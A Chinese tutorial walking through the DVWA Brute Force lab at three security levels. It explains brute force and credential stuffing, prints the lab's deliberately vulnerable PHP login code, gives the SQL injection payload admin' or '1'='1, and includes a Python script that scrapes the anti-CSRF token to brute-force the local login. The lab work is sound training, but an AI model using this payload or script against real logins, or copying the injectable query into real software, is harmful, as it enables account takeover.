DVWA安装教程:
https

Brute Force(暴力破解)

两个字:撞库
三个字:枚举法
暴力破解的意思是攻击者借助计算机的高速计算不停枚举所有可能的用户名和密码,直到尝试出正确的组合,成功登录系统。
理论上,只要字典足够大,破解总是会成功的。

阻止暴力破解的最有效方式是设置复杂的密码(英文字母大小写、数字、符号混合)。

而如果你的字典是从某网站泄露出来的,你使用它试图登陆其他网站,就便是撞库。撞库攻击的成功率高于暴力破解,因为你在A网站的用户名、密码通常和B网站的用户名、密码一致。
在这里插入图片描述

以京东之前的撞库举例,首先京东的数据库并没有泄漏。黑客只不过通过“撞库”的手法,“凑巧”获取到了一些京东用户的数据(用户名密码),而这样的手法,几乎可以对付任何网站登录系统,用户在不同网站登录时使用相同的用户名和密码,就相当于给自己配了一把“万能钥匙”,一旦丢失,后果可想而知。所以说,防止撞库,是一场需要用户一同参与的持久战。

2014年12月25日,12306网站用户信息在互联网上疯传。对此,12306官方网站称,网上泄露的用户信息系经其他网站或渠道流出。据悉,此次泄露的用户数据不少于131,653条。该批数据基本确认为黑客通过“撞库攻击”所获得。
在这里插入图片描述开始实验:

LOW

方法1
第一步,输入用户名密码抓包:
在这里插入图片描述第二步,发至repeater查看:
在这里插入图片描述第三步,发至Intruder,设置进行爆破:
在这里插入图片描述在这里插入图片描述在这里插入图片描述第四步,开始攻击
在这里插入图片描述在这里插入图片描述方法2:
查看一下网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
> 此处仅是把查询语句的字符串赋值给query变量,仅为赋值语句,并未执行查询。


    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

> mysqli_query执行某个针对数据库的查询
> mysqli_query(规定要使用的 MySQL 连接,规定查询字符串)
> die() 函数输出一条消息,并退出当前脚本。该函数是 exit() 函数的别名。
> is_object() 函数用于检测变量是否是一个对象,返回true和false
> mysqli_error() 函数返回最近调用函数的最后一个错误描述。,返回一个带有错误描述的字符串


    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
>  mysqli_num_rows() 函数返回结果集中行的数量
>  mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。返回代表读取行的关联数组。如果结果集中没有更多的行则返回 NULL。

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

不难发现查询语句,只要传入参数即为真即可,所以我们考虑进行一个sql注入:admin’ or ‘1’='1
在这里插入图片描述在这里插入图片描述

Medium

查看网页源代码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
       

>  可以看到,medium级别的代码对用户输入的参数进行了简单的过滤,对一些预定义字符进行了转义,基本上防止了SQL注入。还有一个措施就是如果密码输错了,则延时两秒之后才能再次提交。

        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

其实就是多了这一块

    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  • isset() 函数用于检测变量是否已设置并且非 NULL。返回TRUE。
  • is_object() 函数用于检测变量是否是一个对象
  • mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。返回已转义的字符串。

由于mysqli_real_escape_string()对字符串进行了转义,所以sql注入将不能运用。
在这里插入图片描述
所以直接用方法1 burpsuite爆破就好啦,只不过时间长了点而已。因为试一次密码要过滤2秒才能试下一个。

High

查看网页源码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  • stripslashes(string): 去除掉string字符的反斜杠\
  • mysqli_real_escape_string(string,connection)函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。

代码增加了token机制

 // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

依我拙见,token可以看作是我的一张门禁卡,首次使用时需要激活和认证,分配一个ID,之后进入时只需刷卡,无卡则无法进入。这避免了陌生人进入的风险。token也是如此,减少频繁的查询数据库,使服务器更加健壮。
在这里插入图片描述由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。所以我们无法通过burpsuite爆破出结果,话不多说,先抓包

在这里插入图片描述

from bs4 import BeautifulSoup
import requests
 
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    if(i==20):
        break
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐